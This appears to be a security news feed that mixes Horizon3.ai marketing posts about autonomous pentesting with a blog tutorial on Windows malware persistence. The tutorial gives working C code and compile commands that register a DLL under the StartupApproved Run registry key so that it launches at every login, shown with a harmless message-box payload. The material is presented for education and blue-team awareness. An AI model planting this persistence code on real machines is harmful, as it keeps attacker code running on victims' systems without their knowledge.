NodeZero revolutionizes the landscape for educational institutions seeking an autonomous pentesting solution, empowering a proactive strategy to illuminate how an attacker sees their environment. Additionally, NodeZero also enables institutions to comply with and exceed State and Federal higher education regulatory policies and guidance. β€œTo sum it all up, compliance drove us in trying to find a pentesting solution, but what you had to offer [Horizon3.ai] covered not only pentesting, but vulnerability management,” says Jim. NodeZero provides universities and alike with actionable insights and prioritized recommendations for remediation, as well as the ability to verify fix actions. This enables security teams to focus their efforts on addressing the most critical vulnerabilities first.

Overall, while traditional pentesting methods may have served higher educational institutions well in the past, we have witnessed first-hand that the transition to an autonomous pentesting solution like NodeZero offers countless benefits, including enhanced efficiency, scalability, adaptability, and actionable insights, hardening the institution’s cybersecurity posture in an increasingly complex threat landscape.

Download PDF

The post Empowering Educational Compliance: Navigating the Future with Autonomous Pentesting in Academia appeared first on Horizon3.ai.

Elevate Your Cybersecurity Strategy: Download the 2023 Year in Review

22 March 2024 at 13:00

In our groundbreaking 2023 Year in Review, Horizon3.ai delves into the transformative approach of autonomous pentesting with NodeZero. This pivotal document is your gateway to mastering proactive cybersecurity defense mechanisms.

Here’s what you'll discover:



The Attacker's Perspective

Learn how thinking like an attacker can uncover hidden vulnerabilities.

ο‡’

Overcoming Common Cyber Threats

Insight into the most prevalent cybersecurity challenges today, including credential issues and software vulnerabilities.

Innovative Mitigation Strategies

Practical guidance on enhancing your security posture through advanced mitigation techniques.



Policy Recommendations

Expert advice on shaping policies to bolster your defenses against emerging threats.

ο”΄

Continuous Security Assessment

The importance of ongoing evaluation and adaptation to stay ahead of cyber adversaries.

Download now to unlock the secrets to a more resilient cybersecurity framework.

The post Elevate Your Cybersecurity Strategy: Download the 2023 Year in Review appeared first on Horizon3.ai.

Malware development: persistence - part 24. StartupApproved. Simple C example.

12 March 2024 at 00:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the another interesting malware persistence tricks: via StartupApproved Registry key.

StartupApproved

The very first post in the series about persistence, I wrote about one of the most popular and already classic techniques, via Registry Run keys.

An uncommon Registry entry utilized by the standard β€œstartup” process (i.e., the one mostly controlled by Windows Explorer, such as the Run and RunOnce keys, the Startup folder, etc.) after userinit.exe completes its operation, is located at the following location in the Registry:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run

Turns out, this key is populated when entries are enabled or disabled via the Windows Task Manager’s Startup tab:

pers

The good news is that we can use this registry path for persistence.

practical example

First of all, check Registry keys by the following command:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

At the next step, as usually, create our β€œevil” application (hack.c):

/*
hack.c
simple DLL messagebox
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(
      NULL,
      "Meow-meow!",
      "=^..^=",
      MB_OK
    );
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

As usually, just meow-meow messagebox.

Then we just modifying our HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved registry key, like this (pers.c):

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "Z:\\2024-03-12-malware-pers-24\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

As you can the the logic of our Proof of Concept is pretty simple - we set the value of the registry entry to 0x02 0x00... binary value.

demo

Let’s go to see everything in action. First of all, compile our β€œmalware” DLL:

x86_64-w64-mingw32-g++ -shared -o hack.dll hack.c -fpermissive

pers

Then, compile our PoC:

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

Finally, run it on the victim’s machine. In my case, for Windows 10 x64 v1903 VM, it is looks like this:

.\pers.exe

pers

As you can see, I also checked registry again:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

Then, logout and login again:

pers

pers

But unexpectedly it didn’t work for me…

Then, I just update the name of entry:

pers

Logout and login, little bit wait…. and it’s worked perfectly….

pers

pers

So I updated one line in my script:

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "C:\\temp\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

But there is a caveat. Sometimes when I tested this feature, it launched like Skype for me:

pers

pers

As you can see, everything worked perfectly as expected! =^..^= :)

This technique is used by APT groups like APT28, APT29, Kimsuky and APT33 in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

ATT&CK MITRE: T1547.001
Malware persistence: part 1
APT28
APT29
Kimsuky
APT33
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

What’s the true impact on your organization when an employee is phished?

6 March 2024 at 21:00

You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.

The post What’s the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.

What’s the true impact on your organization when an employee is phished?

29 February 2024 at 20:13

You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.

The post What’s the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.

❌
❌